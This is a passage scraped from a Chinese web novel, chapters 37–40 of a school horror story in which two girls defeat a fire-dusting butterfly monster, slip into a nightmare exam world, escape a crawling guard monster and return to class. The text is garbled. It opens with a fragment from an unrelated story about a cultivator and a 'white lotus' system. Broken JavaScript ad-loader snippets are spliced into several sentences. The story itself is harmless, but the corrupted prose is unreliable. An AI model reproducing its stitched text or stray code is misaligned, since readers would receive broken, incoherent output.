裴菱努力地辨别,愣是凭着5.0的视力看清了那人的模样。 俊秀的五官,一袭白袍,绾发束冠,气质温润,刚才的声音正是他发出来的。 白衣男子嗖地一下就飞过来了,御剑从天而降。 正在此时,裴菱脑子里面突然叮咚了一声。 【造作白莲花的自我修养篇章正式开启,请尽情享受,本任务最终解释权归主系统所有】 37. 勤奋努力的学生(8) 晾晒衣服和使用电器被同时触发,而且看起来风扇马上就要爆炸了。 白裙子拖着自己的舌头往出跑,逃命的速度快的像一道风,吴清雾这会儿也不怕它了,扯着嗓子喊:“你不是巢穴怪物吗,你跑什么跑!” “它凶,烧我,很疼。” 白裙子溜得飞快,完全看不出来刚刚那副慢腾腾的窝囊样,显然受到迫害很多次了,已经积攒下了经验。 没有一点同事情,只有渴望互相吞噬的食欲,这就是怪物们的生存法则。 “它是什么样的?” 沈云烟拿不准这个正在自发启动,且速度逐步变快的风扇,爆炸和火灾不像老头怪和白衣服有实体容易被拿捏,但听白裙子的话,似乎有东西在控制着这条规则。 “既然已经触发了,那就先拆再说。” 房间里是有套件电闸的,沈云烟拉下寝室闸,断掉室内电源。 风扇还在转动,同时电灯也开始时断时亮,陌生的焦糊味慢慢在房间内蔓延开,电器上的火星更多了。 “断开电源对它没用。” 因为晾晒衣服规则的触发带动了电器规则,而且显然背后的东西不准备善罢甘休。 “火火火火!”吴清雾突然大叫,连忙把自己身上莫名着火的外套脱了下来,放在地上踩熄灭。 “真的是火灾,还是无风自燃的类型”,她迅速检查了周身上下的情况,并在自己的发尾上闻到了奇怪的燃油味。 吴清雾立马取出剪刀把自己那撮头发剪了,没一会儿,那点扔在地上的头发开始燃烧。 她脸色不好看:“如果再迟一点,烧的可就是我的头了。” 得尽快找到那东西。 沈云烟收回视线,开始认真。 寝室顶不算高,至少是现在她的跳跃能力可以触及的高度。 “应该可行……” 那柄寒光凛凛的黑色长枪又被沈云烟拿了出来,对准风扇就是一刺。 家用电器的硬度当然比不上能斩杀巢穴之主的武器,黑色长枪如同划过豆腐一样轻而易举地划开风扇。 那半截电风扇顺着惯性砸向了门口,碎了一地,沈云烟挑开残骸零件,搜查一番。 里面没有东西。 “我怎么闻着燃油味更重了”,吴清雾轻嗅道:“就好像我们泡在了燃油里。” “空气里现在弥散的粉尘就是这巢穴怪物的燃油”,沈云烟解释道。 她抬头盯紧了上方的某一处,握紧了手中的长枪,露出笑容:“找到你了。” “在哪里,在哪里?”吴清雾看了半天也没发现。 她顺着沈云烟的视线向上方望去,可什么也没发现,她又仔细盯了一遍,倏尔,房顶的白墙上好像出现了一丝偏移。 那形状…… “蝴蝶?” 一只隐匿在白墙上的巨大白色蝴蝶,纤长的触须来回颤动,翅膀扇合之间,荧荧鳞粉飘落而下,带来浓郁的燃油气味。 再一瞬间,那蝴蝶消失不见,吴清雾恍然大悟:“那不是白色蝴蝶,它是变色的。” 这么说来,这只巨大变色蝴蝶从始至终就一直在房顶看着她们的一举一动,等待撒下鳞粉,燃起火灾,烧死全部人。 蝴蝶小小一只当然很漂亮,但如果放大数百倍,属于昆虫的复眼,口器,胸腹节肢结构,绝对会让大多数人感到不适应。 更不要说这只蝴蝶还拥有可燃的鳞粉。 “这要怎么杀啊”,吴清雾除了刚刚的一瞥,根本看不到蝴蝶到底在哪里。 一眼望去,寝室顶依旧是那副边角有点潮意的模样。 唉。 吴清雾回想着刚刚蝴蝶的位置,它似乎离潮湿的那面墙最远,难不成它怕水。 “昆虫怕火怕水,这只蝴蝶不怕火,那就试试水”,沈云烟显然和她想到一块去了。 “我去楼道里接水管”,吴清雾立马道,说着就要冲出去。 跑到门口却发现门把手出奇的烫,好像被大火烧过一样。 “嘶——”她反射性缩回手,手上已经被烫红了。 刚刚的白裙子不知道怎么就跑出去,但现在她们显然被困在了这里。 鳞粉还在不断落下,空气中的温度猛然拔高,吴清雾呼吸时都觉得有股灼痛感。 “那些鳞粉不会被我吸进去了吧,我怎么有种肺在烧的感觉。” 刚刚还活蹦乱跳着说要出去找水管的吴清雾瞬间就蔫了下来,感觉浑身的水分都在蒸发,连汗毛都被烧焦了。 她虚弱地蹲下身来,眼中逐渐模糊。 “水管就不用了”,一滴清凉的水滴在她的额头,吴清雾抬头往上看,沈云烟单手抬了只还剩少半的饮用水桶,显然是刚从饮水机上抱下来的。 沈云烟用其中一半水给吴清雾浸透,问:“好点了没。” “好多了”,吴清雾点点头,觉得头脑清晰了许多。 她有些担心:“现在出不去,只剩下这点水会不会不够用。” 那只蝴蝶看起来很不好惹的样子,吴清雾觉得至少得抬个超大号水管过来喷她才有安全感。 这拢共就剩八分之一的水量,她觉得自己两口就能喝完,对付这只蝴蝶真的够用吗。 “同学”,沈云烟叹了一声,“你知道我们单位全名叫什么吗?” 吴清雾想了想,把那个名字从记忆里扒拉出来:“非……非自然研究所。” “都叫非自然研究所了,作为特邀人员的我,会点非自然手段也不过分吧。” 吴清雾愣愣点头。 沈云烟走到门把手边上,一个飞旋腿踹上去,刚刚还滚烫的仿佛被死死焊接在地面的门整个直接飞了出去,砸在对面的墙上。 据她所知,这门好像是金属的吧。 就这么轻飘飘地飞了? 啊? 房间内不断落下的鳞粉也停下了,似乎震惊于如岩浆般滚烫的门这人是怎么踹开的。 不对,这不是它的结界吗,为什么门可以被踹开。 在室内静默的期间内,沈云烟自然收回腿,对自己的猜测也落到了实处。 原来不是她的错觉,化身的体质真的被拔高了许多,沈云烟想。 而且这是贺绪风出现前后发生的事,每一次的化身都在增强,只不过这回格外明显罢了。 是因为本体封印松弛的原因吗。 她觉得有必要再去找贺绪风 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 聊一聊。 心思回到宿舍内部,沈云烟朝吴清雾喊道:“愣着干什么,快去取水管。” “对对对”,吴清雾猛地反应过来,冲了出去。 本来以为这里的动静会惊动同学和宿管,没想到直到吴清雾从楼道水房里找出水管,接通水源,期间没有一个同学出来。 就好像整个世界里没有其他活人一样。 她看向一个个紧闭的宿舍门,不敢再多想,接好水管后直接冲回了103,对准了天花板就是一顿扫。 沈云烟倚在门边看热闹。 当她把这里踹出缺口之后,剩下的事就太简单了。 这只蝴蝶不像老头怪物和白裙子一样具有自主攻击性,它依靠自身隐蔽和鳞粉来攻击人,除此之外没有其他手段。 而且它有个致命的弱点。 沈云烟看见房顶巨大蝴蝶疯狂扇动沾水的翅膀,身形彻底展现出来。 它很怕水,甚至连潮湿的墙角都不愿意呆。 本来房间里饮水机的水存量根本伤不到它,在它的操控中,任何人都闯不出这个房间,只能在这里被鳞粉覆盖,然后灼烧致死。 被水完全浇透的蝴蝶看着完全动弹不得,吴清雾大着胆子把水管往它身上滋,给蝴蝶来了一场全身水浴。 沈云烟往外面看了一眼。 很寂静的楼道,没有一个人,只有水房里传出不断的水流声。 “这就是考试场所吧。” 蝴蝶的领地是这个世界的宿舍,强势踹开门就能进入更大的世界,如果走出宿舍门那是不是就能进入教学楼。 现在这里的时间正是白天,和外界的时间一致,也就是说这里的考试在晚上才会正式开始。 晚上是上学时间,那白天就是休息时间。 那她现在闯进这里的考场就相当于另类的夜探教学楼。 “夜探教学楼……不留点东西可惜了。” 这倒是意外之喜。 “沈姐”,吴清雾叫她:“这蝴蝶彻底不动了,是不是死了。” 沈云烟回到寝室内,望了眼一动不动的蝴蝶,道:“还没死,先留着它,后面要用的。” 这大蝴蝶除了烧人还能有其他用处,吴清雾没想明白,但还是听话地放下了手中的水管,没继续浇水。 不管半死不活的蝴蝶,沈云烟率先迈出门,顺带叫了吴清雾一声:“走吧,提前去考场看一眼。” 她道:“咱们今晚还要准时去考场呢。” 吴清雾失去理智成为凶残的监考老师,而沈云烟则是新入场的考生。 “考场?是我想的那个考场!?”她惊道。 吴清雾看了一眼周围的环境。 怪不得这里让她感觉不舒服,楼道里安静的怪异,原来她们居然提前进入了那个诡异的世界。 这还是第一次她清醒着来到这里。 第一次她坐在座位上抬不起头,第二次根本就没了自我意识,她还不知道这里究竟是什么样子。 “对,就是你想的那个考场”,沈云烟道:“来都来了,不留点什么总感觉不对劲。” 她露出一个绝对温柔的笑。 “走吧,我的监考老师。” 38. 勤奋努力的学生(9) 校园里很安静,吴清雾紧紧挨着沈云烟走,生怕哪里再冒出个怪物扑脸。 教学楼的正门被粗壮的锁链锁住,沈云烟绕到侧边,直接打碎了一小扇没装防盗网的玻璃窗户,然后极其灵活地扒上窗沿翻了进去。 她坐在窗户上朝吴清雾伸出手:“过来,我拉你上来。” 等到两人落地,沈云烟带着小跟班朝楼上走去,教学楼里静地只有她们俩上楼梯的脚步声。 他们班在四楼,吴清雾从来没想到上楼梯会是这么漫长且艰巨的动作。 每一步落在都会有回信产生,她神经紧绷着,唯恐暗处有东西被这声音惊动,然后从哪个旮旯犄角张着血盆大口扑了出来。 沈云烟自然地踏上楼梯,身边吴清雾落了她半只脚,紧紧贴着她走。 沈云烟把她稍微拉开了点距离,无奈道:“你再挤我就被挤出栏杆了。” “不好意思,不好意思”,吴清雾笑了笑,依旧谨慎地往上走。 直到两人一前一后安全到达高二(3)班的大门口,吴清雾才松了口气:“这里好像真的没人。” 她想到什么,摸了摸胳膊:“不过有人才可怕,还是没人的好。” 吴清雾看着狭长楼道里隐隐泛出的红色,打了个寒颤:“我还是第一次觉得我们教学楼装修这么瘆人的,刷红墙皮到底是哪个人才想出来的。” 现在还是白天,走在封闭的教学楼走廊里打眼一看,不是血红的墙皮就是荧光绿的安全通道牌子,看着也没多少安全感。 “要是晚上在昏暗的教学楼里看见这一大片红,对比一下是不是觉得现在的红墙皮还挺可爱的,起码不会动”,沈云烟开玩笑道。 “你是会安慰人的”,吴清雾吓得又往沈云烟边上靠了一步。 安慰地很好,下次不要再安慰了。 吴清雾回忆起那些灰蒙杂乱的夜晚。 她只记得一些碎片。 作为特殊的监考老师在楼道里来回踱步,她看见锈红掉皮的墙不断鼓动,像鲜活的血管,像枯萎的内脏,像活着一样。 她赶紧把那些画面抛出脑子,来回看了看道:“这里的构造和我们学校一模一样。” 吴清雾轻轻一推,面前的教室门就彻底敞开,露出里面整齐摆放的桌椅板凳。 沈云烟率先走进了教室,还提醒愣住的吴清雾:“进考场了。” 吴清雾低头看了看自己的手,她刚刚碰上门了吗,这门什么时候这么好推? 见沈云烟已经进去了,她也连忙踏了进去,边走边小声道:“咱们就这么大摇大摆地进去不会出什么问题吧。” 沈云烟已经站上了讲台。 她环视四周,灵敏的五感并没有发现异常,白天的考场世界似乎在深度沉睡,连外人闯入都没有反应。 沈云烟走下讲台,朝吴清雾点了点头:“暂时没事。” 吴清雾在布置熟悉的教室里走动,她摸了摸自己桌子上的划痕:“真神奇,除了没有人之外,和外面的分毫不差。” 她走到窗户边,打开窗户往楼下望。 “和我们教室的视野一模一样。” 吴清雾正在观察楼下的景象,突然视野中闯入一个行动怪异的人,她惊道:“沈姐,那里有人,不,不是人,那里有个不知道是什么的东西!” 沈云烟迅速走到她身边,看清了那个人的样子。 那是一个穿着保安衣服的怪物。 整洁的保安服装套在一团血肉之上,它延伸出了大致的四肢和头颅,只可惜技术不到位,看着十分诡异。 它四肢并用在地上爬行,类似手的位置拖拽着一根电棍模样的东西,在水泥地面上发出刺耳的摩擦声,不时抬起头巡视着校园的每一寸土地。 “保安”正在巡逻。 “低头”,沈云烟按着吴清雾快速蹲了下来,避开保安巡视的目光。 过了一会儿,再从窗户投下目光的时候,保安已经移到了另外一边。 “没有被发现,它已经走远了”,沈云烟拍了拍吴清雾。 这只保安没有追寻气味的功能,不然就不可能是这种慢腾腾的反应了,她们只要避开视线就行。 吴清雾出了一身冷汗,赶紧去去晦气:“呸呸呸,我真是说什么来什么,我干嘛说什么没人,这下有人了。” 一路上风平浪静的她还真以为没什么,原来是和巡逻的擦肩而过,这会儿差点碰上了。 教室的摆设和现实中一样,沈云烟走到最末尾,坐在了她自己的座位上。 这也将是她今晚考场的座位。 沈云烟敲了敲桌子,思考道:“要是提前在桌子上做小抄,实现满分答卷或许也不难。” 吴清雾也走了回来,坐在了她前边一个位置,闻言摇摇头:“不论是哪一科,内容又多又宽泛,有小抄都不好使。” 而且还会出现进考场后再指定卷子内容的情况,现场背现场考,简直逼得人绝望。 不说灵活性极强的理科,就说语文英语这种科目,小抄得写上八页纸,后续考试指不定还用不上几条。 “第一轮的考生指定考试内容,第二轮考生现场背诵题库。” 吴雾模糊的记忆里,有学生背题库背到发狂,抱着头撞墙想撞醒自己,可惜最后还是头破血流地被拉上了考场。 第一轮考试并不致命,像陈东俊那样不及格的混子挨了一下监考老师的杠精,也只是醒来时头疼。 从第二轮开始有明确规定之后,他们才逐步被监考老师入侵。 “科目?”沈云烟敲桌子的手突然停住,“可以从科目上入手。” “什么?” “我说,我在科目那一栏填上我绝对擅长的,满分通过第一轮考试。” 吴清雾点点头:“每个人都是这样做的,除了陈东俊那个以为自己在梦游的大傻叉。” 徐祥填的数学,她填的英语,都是擅长的科目,陈东俊随手乱填的他最不擅长的语文。 “而且第一轮只是摸底,第二轮才开始动真格的。” 吴清雾有种预感,不只有第二轮,还会有第三轮第四轮,直到这里的人全部被监考老师入侵,直到整座学校沦陷为巢穴的一部分。 “第二轮的正式考试只能现场背诵题库,常识,冷知识,各类信息混杂在一张卷子上,难度登天”,吴清雾头疼道。 越举例证明巢穴的恐怖,越让她有种被深渊死死拖住的窒息感。 “世界上的科目 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又不只有这几项”,沈云烟表情放松:“高中同学会把视线聚集在文理科目之间,略有局限。” “我想它们会喜欢组织里新开那门课的”,沈云烟笑道:“这门课你应该没听过。” 她道:“新式巢穴结构设计与摧毁分析,简称新设。” “这门考试的考核内容也不是纸面考试”,沈云烟在桌子上比划了一个叉,又打了个对勾,抬眸看向吴清雾:“我们都是实战演习评分的。” 沈云烟交完任务有时会在总部转转,她一般当观众在演习场观看这种实战考核,顺便作为气氛组鼓鼓掌。 吴清雾目瞪口呆。 “今晚我考试途中教学楼会有一些颠簸”,她比了个手势,示意稍安勿躁:“不过不用担心,那都是正常现象,安心。” 谁家考试会让楼层颠簸晃动! 显得那些好好答题的学生很呆唉! 吴清雾后知后觉惊喜道:“那,那真是太好了!” 这是要掀桌的节奏。 吴清雾巴不得巢穴快点消失,她受不了自己丧失身体控制权,更不想自己变成恐怖怪物迫害其他人。 她现在简直想把沈云烟抱起来转几圈,但看看自己的小胳膊小腿,又看看对方一身酷飒哦御姐范,默默收回了小胖手。 吴清雾想跳起来,但下一刻沈云烟突然捂住了她的嘴。 “嘘”,她道。 沈云烟眉心微蹙:“有人来了,在下一层,马上就上来了。” 这都能听见?! 吴清雾放缓呼吸,仔细去辨别声音。 然后她真的听到有脚步的声音,还有什么东西在地上拖着的声音。 两人对视一眼,都看出了对方眼中的意思。 是保安。 那个拖着一米多的电棍的保安。 刚刚它离开原地,不知什么时候它爬上教学楼开始巡逻教室。 楼下的开门声越发明显,保安按顺序一个个打开教室门,现在已经到三楼了。 沈云烟放低声音:“得赶紧离开了。” 整座校园只放了一个保安巡逻,从侧面证明它的实力足以保护整个巢穴,是个难缠的对手。 沈云烟还带着吴清雾,要是真的发生冲突,她没有十足的把握把吴清雾带出去。 不过都进考场了,不留点什么总觉得差了点意思。 “稍等。” 黑板上本来就有字,沈云烟抓起粉笔就往黑板上写,在本来就有的“诚心考试,违者去死”的后面又添了几个字。 吴清雾抬头看去。 沈云烟明显是写给监考老师看的。 【监考老师考前须知:考试结束前,竭力配合考生合理要求,不得早退,不得拒绝,如有意外,请忍耐】 那行新写下的白粉笔字有些突兀,沈云烟又低声念了什么,那崭新的粉笔字逐渐融入了黑板,与诚信考试那句话融为一体。 吴清雾眨了眨眼睛,居然觉得那些字像是有魔力一般,令她无比信服。 她赶紧撇开了视线,心道奇了怪了。 这字似乎成为了巢穴的一部分。 “小心”,沈云烟听到楼层里逐渐放大的声音,提醒道:“它来了。” 39. 勤奋努力的学生(10) 那只“保安”巡逻完三楼,已经爬上了教学楼四楼,正在从左往右一个个推门检查。 “听声音它是从7班开始,还有一会儿才能到3班”,吴清雾庆幸道:“我们趁它进其他教室检查的空隙就赶紧下楼逃走。” 教学楼两侧和中部都设置着楼梯,“保安”从离她们最远的教室开始巡逻检查,只要速度够快,她们肯定可以安全离开教室,逃出教学楼。 “对了,我们应该往哪里跑啊”,吴清雾快速往出探了一眼,“保安”还在7班里没有出来。 沈云烟在数保安检查一个教室的用时,闻言分神回道:“回103寝室,既然是从那来的,肯定也能从那回去。” 那只蝴蝶还在寝室里半死不活地趴着,她离开的时候特意扯了根鬼衣的布条绑在蝴蝶头部,只要它不想拖拽到直接掉头,肯定会呆在寝室里。 蝴蝶把她们带了进来,就一定有回去的办法,要是她们在这里出了事,沈云烟保证比她先出事的肯定是那只蝴蝶。 “唉唉唉,它检查完7班,这会儿进6班了”,吴清雾惊喜道,“我们快走吧,越近越容易出事。” “保安”可不像好惹的东西,离3班越近,她们逃跑时的响动对它来说就会越明显,很容易出意外。 沈云烟数完时间:“保安检查完7班的时间是45s,足够我们跑到楼梯口。” 随后一阵拖拽声在楼道里响起,那是保安重新出现在楼道的声音,沈云烟的脸色顿时不太好看:“它在有意识的加快速度,刚刚7班是45s,但是6班只用了30s。” 保安进入了5班。 如果越往这边保安速度越快,那显然她们下楼梯的时间在极速缩减。 除了巧合之外,还有一种可能,那就是“保安”已经发现她们了,碍于巡察规则,所以只能按顺序一个个检查,它在有意识地缩短检查时间,让她们无处可逃。 “走”,沈云烟当机立断拉着吴清雾跑出了教室。 既然后边的时间会越来越短,当然不能犹豫,当下就是最好的逃离时间。 吴清雾被沈云烟拉着跑,感觉两条腿都快奔出残影,心脏不可控制地开始剧烈跳动,紧张恐惧的情绪漫上心头。 她们在和“保安”分秒争夺。 在它发出的声音重新出现在楼道的最后一秒,吴清雾被拖着闪进了楼梯口。 刚从5班教室出来的“保安”歪了歪头,似乎察觉到什么不同寻常的东西,但它没有发现明显异常。 “保安”停留几秒钟,继续开始巡逻,手脚并用爬进了4班里。 “差点被发现”,吴清雾被沈云烟拉着跑,心有余悸。 刚刚最后那一瞬间,背部几乎感受到了那股阴冷的视线,她在生死之间被拽离原地,闪进了楼梯口,躲开了“保安”的视线。 沈云烟往后看了一眼,看见吴清雾状态还行,手势往下指出一个方向,示意到时候朝这边跑。 大门上锁,没法出去,沈云烟指的位置正是他们来的时候砸碎的窗户位置。 从窗户翻出去,沈云烟做出口型。 吴清雾点点头,跟着埋头就是跑。 从四楼下到三楼,从三楼跑到二楼。 她们就要出去了。 刚刚踏上二楼的楼梯,三楼拐角却传出一声巨响,熟悉的拖拽声迅速放大,惊地吴清雾汗毛直立。 这个时候在这里的还能有谁,那只保安没有向楼上巡察,而是转身下到三楼,除了追她们之外也没有别的理由了。 它速度太快,沈云烟刚把二楼通往一楼的楼梯跑了一半,就听见那股粘稠的细碎声紧紧贴了过来。 一个拐角之隔,她们就要被看见了。 该死,这东西反应也太快了。 “保安”就像闻见血肉的鬣狗一样兴奋,与之前在楼下的四肢不熟样子有着天壤之别。 下方楼梯间有块斜三角空间是放闲置用具的,扫帚,簸箕,垃圾箱都有,叠成一团,杂乱摆放着。 沈云烟眼神微动,直接扒住扶手跳了下去,顺便把吴清雾也拉进下去,她架着对方肩膀落地,然后像拎鸡仔一样把她迅速塞进垃圾箱里,盖上盖子隔绝最后一丝视线。 突如其来的失重感让吴清雾差点叫出来,她紧紧捂住自己的嘴巴,避免发出一丝声音。 处于信任,在沈云烟关上盖子时,她努力稳住自己颤抖的身体,一动不动地呆在这个空置的绿色垃圾箱里。 那“保安”看着不聪明,一定不会发现的,一定会没事的。 她努力说服自己,减轻恐惧。 …… 四肢并行的“保安”在下一秒跳了下来,它转动脑袋,张望着寻找某种身影。 它看见了外来的人类。 “保安”分叉的黑色舌头舔了舔嘴角,似乎在回忆某种令它记忆深刻的美味。 它可是没有任何停歇就追了出来,人类一定还没跑远。 是藏在哪里了吗? 真是狡猾的人类。 它没有五官的脸部观察着任何可以藏人的地方,然后缓慢地走到了堆放着众多清洁用品的楼梯间。 “保安”猛地掀开绿色垃圾桶的盖子。 空的。 它扭了扭头,接着走向了下一个。 还是空的。 它翻完了所有垃圾桶却没有发现一个人类。 “保安”挠了挠头,不太明白这么短的时间里,这两个人能跑到什么地方去。 它迈着不规律的步伐疑惑地四处查看,然后缓慢地进入了一楼的教室,重新开始筛查教室。 它一定能找出那些人类的。 沈云烟从一楼顶部跳了下来,她刚刚卡在墙壁与墙壁的高处视野盲区,发育崎岖的“保安”根本扬不起头,更别说发现视野之外的她了。 幸好这个“保安”只有视觉,如果加上嗅觉感知的话她今天肯定免不了一场战斗。 趁“保安”进教室检查的时候,沈云烟快步走到楼梯间,从众多扫帚底下扒拉出一个垃圾箱,然后把里面的人拽了出来。 这里扫帚足够多,所以才能掩盖住压在最底下的装着吴清雾的垃圾箱。 被装进垃圾箱里一顿乱晃,差点吐了的吴清雾感受到眼前视线变化,随后被沈云烟捞起来重新拽着跑。 感觉这趟下来她能瘦个五六斤,不仅脑子在运动,身体也没歇着。 终于被沈云烟拉着跳出窗户,吴清雾平稳落地,算是正式闯出教学楼。 “我们这是出来了? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”她一路上被颠来倒去,有点晕。 “还没完全出去”,化身很给力,自己也很有劲的沈云烟拉着吴清雾继续跑:“得从宿舍楼闯回去才算出去。” “我腿有点软……啊啊啊!”吴清雾话都没说全就灌了一嘴风,她挣扎道:“慢点慢点!” “不能慢,等保安反应过来肯定会追出来的”,沈云烟道。 她往后望了一眼,佯装吃惊:“那东西这么快就跟上来了,快走,逃命了。” “什,什么!” 吴清雾求生欲瞬间爆发,没时间管沈云烟话中真假,拼了命地往前跑,她只觉得疲软的双腿又重新注入了力量,不让自己拖后腿,她努力提速跟上沈云烟。 “挺厉害的”,沈云烟夸道。 这姑娘看起来瘦弱,没想到爆发起来都能跟上她的速度,人的潜力果然不容小觑。 吴清雾心脏狂跳,只有不能被追上一个念头。 她还没活够呢,怎么能葬身在这种丑东西的手上。 在两人极速奔跑之下,她们很快赶回了宿舍。 寝室楼依旧很安静,累的大喘气的吴清雾终于能歇会儿,她没空管那些楼道里亮灯的封闭宿舍里都有些什么,仅剩的力气撑着她走进门已经被暴力拆卸的103寝室,然后一屁股坐上了寝室的地板。 “累死我了,我这辈子都没跑过这种速度”,她深呼吸,努力平复自己的气息节奏。 “证明你的潜力是很亮眼的”,沈云烟拍了拍她的肩膀。 这具化身的体能不凡,吴清雾能在小宇宙爆发后跟上她的速度,本身就有点天赋。 “是吗,我也没怎么练过,跑成这样还挺意外的”,吴清雾歇了一会儿感觉好点,她看了眼还在地上趴着的蝴蝶,道:“那件白裙子跑的没影,现在这里就剩它了。” 宿舍里四个规则,其中窗帘规则里的杀人狂老头死了,白裙子跑了,床帘规则没有巢穴怪物出没,能利用的就只有这只浑身沾了水的大蝴蝶。 蝴蝶这会儿翅膀半干,谨慎地缩在房间一角,头和身躯连接的地方绑着一根醒目的红布条,正是从鬼衣身上扯下来的。 它挣脱不开,反而弄断了自己的触须,实在无法,只能被困在这个房间里。 见那两人重新回来,蝴蝶焦躁不安地轻微扇合翅膀,局促地往后缩去,生怕再当头一水管。 沈云烟压根没理蝴蝶,她抬头看向顶端的风扇,扇叶最初被她削了一半,不过剩下的芯还在缓缓转动着。 宿舍规则:任何时候不能使用电器。 使用电器会引发火灾爆炸,而其源头则是蝴蝶的鳞粉。 电器停止运作又会发生什么。 这风扇用按钮关不掉,沈云烟拿起趁手的晾衣杆,直接舞向苟延残喘的风扇芯子,只见咯嘣几声,风扇冒出一股烟,彻底停止运作。 吴清雾看着沈云烟手起杆落。 下一瞬间,那风扇静静停着,完好如初,她眨巴眨巴眼睛,看了看四周,门也完好无损。 她突然思维跑偏。 真好,不用和班主任商量赔偿的事了。 沈云烟扔下手里的晾衣杆,眼前已经没了蝴蝶的身影,周围的一切都是原本的模样。 她们回来了。 40. 勤奋努力的学生(11) 她们回来了。 在一瞬间的恍惚之后,所有不应该存在于这个世界里东西全部消失干净,没有硕大的蝴蝶,也没有侵入肺腑的恐怖燃油味道。 沈云烟看了眼时间,已经到下午两点了。 “居然已经到下午上课的时间了”,吴清雾说道:“总感觉只过去了一小会儿。” 楼道水房里有人在走动,学生中午睡起来洗把脸醒醒神,然后迅速收拾好东西往教学楼赶。 “还有十分钟就上课了”,吴清雾揉了揉太阳穴,“刚刚经历那么多,现在居然要赶着上下午课。” 有种“战胜邪恶大boss之前也要乖乖写家庭作业”的奇怪感觉。 沈云烟开玩笑:“不然你先呆在宿舍,帮忙盯着看有没有奇怪的事发生。” 要是之前吴清雾说不定还能一个人呆在寝室,但在今天学校多了许多神秘的规则之后她就不敢了。 虽然她们俩刚从考试世界出来,宿舍规则也搞掉了七七八八,但她可没忘记还有只蝴蝶没死呢,万一不小心又碰见蝴蝶,她可没办法从火海逃出去。 吴清雾一想到有这种可能就有些怕,她现在必须黏紧沈云烟才有安全感。 “沈姐,我想通了,学好数理化才是学生应尽的职责,课是不能缺的,老师是不能不见的,我一个暑假没见老师,可想死我了。” 她立马拽起自己的斜挎包,朝沈云烟露出一个无比坚毅的眼神:“走吧,我们要奔赴知识的海洋了。” 沈云烟没忍住低低笑了出来。 吴清雾看着孤僻怕事,但熟悉一点后会发现这姑娘性格很逗,怪不得能和陈东俊很快混熟,虽然一个在闹一个在疯狂嫌弃,但他们本质上说起来都算一类人,只是表现形式上略有不同。 “走吧,未来的三好学生”,沈云烟道。 赶着上课铃声来到教室,沈云烟率先进入了教室,吴清雾在楼道里停顿了一会儿,多看了几眼教学楼的装饰红墙。 明明是和考试世界教学楼墙壁上一样的红色,没了那些阴冷扭曲的触感之后,让她感觉到十分安心。 “快进去,老师马上过来了”,走过来的徐祥提醒了她一句,然后踩着铃声进了教室门。 有学生急匆匆地往教室跑,两三步跳着上楼梯,吴清雾眼尖地看见代课老师已经快到四楼了,赶紧进了门坐在自己的位置上。 沈云烟进来的时候班里面基本坐全了,请假的三位同学都回了教室,其他两人看着状态还行,只剩徐祥一副淡淡的死感。 她戳了戳旁边的姬蒙,问道:“这是怎么了,今天中午吃饭的时候不是还好好的吗?” “午休时候你们那出了什么异常吗?” 姬蒙也才刚坐下,这会儿从包里取东西,听到沈云烟问话,没有迟疑地点点头:“出寝室后发现男寝201和202门口都多出一张纸,我撕了一张下来。” 他展开纸张,正是一张印着宿舍规则的纸张。 “至于徐祥,他自己说放外套的时候看见有人在风扇上吊着,白衣飘飘,他当场吓晕了,直接压塌了衣架上。” 姬蒙继续道:“宋先说这家伙被掐醒之后就一直在找那东西,但是后边不管怎么尝试都没再看到白衣服的人,他现在有点怀疑自己精神出了问题。” 沈云烟撇开眼:“咳。” 那阵子可能白裙子在忙,比如被她按在地上殴打,再比如被同事炽热的火焰逼的仓皇逃跑。 “这些规则里的大部分我都解决地差不多了,这个白裙子和晾晒衣服那条规则有关”,沈云烟道:“下次要是看见那个吊在风扇上的白裙子,记得给我绑住它,我们还有点账要算。” 白裙子前脚答应地好好的,随后就跑的没影,她可都一件件记着呢。 “果然是规则”,在前边一直听着的宋先转过来,他小声道:“中午特意避开了纸上所有规则,哪知道徐祥这家伙搭个衣服就中招了。” 算起来徐祥的行为其实都不算晾晒衣服,只不过把外套脱下来暂时放在杆上,准备整理好身上衬衫后就拿下来,没想到一抬头就看见一个白衣服的人在房顶转啊转,见他抬头还伸出鲜红的舌头挑衅。 “看来这东西确实是真的”,徐祥幽幽转过来,好像被狠狠摧残过,他双目无神:“太好了,我没疯。” 宋先拍了拍他的肩膀:“别勉强自己,想哭就哭出来吧。” 徐祥没理他,并撤回了一个肩膀。 沈云烟倒乐的看他们打打闹闹,不过现在还有正事要忙。 她拿过姬蒙从门上撕下的那张写着宿舍规则的纸,铺开展平。 这张纸上的规则和女寝的一模一样,不过有几行字与最初相比产生了细微的变化。 【任何时候不能使用电器】 或许是因为蝴蝶被水管一顿喷的缘故,这条规则也被打湿,字迹变得不太清楚。 【任何时候不能拉上窗帘】 杀人狂老头死亡,这条规则直接直接消失,在纸上空出一行。 现在只有【晾衣服规则】和【床帘规则】依旧存在,并且字迹没有任何变化。 白裙子倒是好说,及时剪短床帘也能规避风险,不过要彻底祓除,还要下点功夫。 比如将巢穴全根拔出。 正想着问题,沈云烟突然被宋先靠了一下桌子,她疑惑地看过去:“你干什么?” 宋先指了指讲台上站着的人,小声道:“老师点你了。” 她都这把年纪了怎么还能有幸被点名。 讲台上的教师用粉笔点了点桌子:“这位新来的同学不要害羞,讲一讲你对生物的见解。” 老师引导道:“广义上的生物是指一切具有新陈代谢的物体,那老师问问你呐,刚刚讲的病毒算不算生物啊。” 见右前方的徐祥慢慢地摇了摇头,沈云烟道:“不算。” “很好呐,这位新同学一看就很勤奋好学,上课也一直在认真听讲呢”,老师继续问:“那老师问你,生物与非生物最本质的区别是什么呢?” 沈云烟想到生物老师刚刚说过的话,试探答道:“新陈代谢。” “太棒了,这位同学简直就是生物界的新星,新时代的达尔文呐,大家为新同学鼓掌。” 随着一阵剧烈的掌声响起,沈云烟被热情的老师允许坐下。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这课谁上不迷糊,这老师哪是高中老师,那这是教学界的妲己。 沈云烟看了一圈,全教室的学生都被钓的翘嘴,兴致勃勃地参与进课堂讨论。 “新陈代谢吗……”沈云烟点了点桌子:“这么说起来巢穴似乎也能算得上一种另类的生物。” 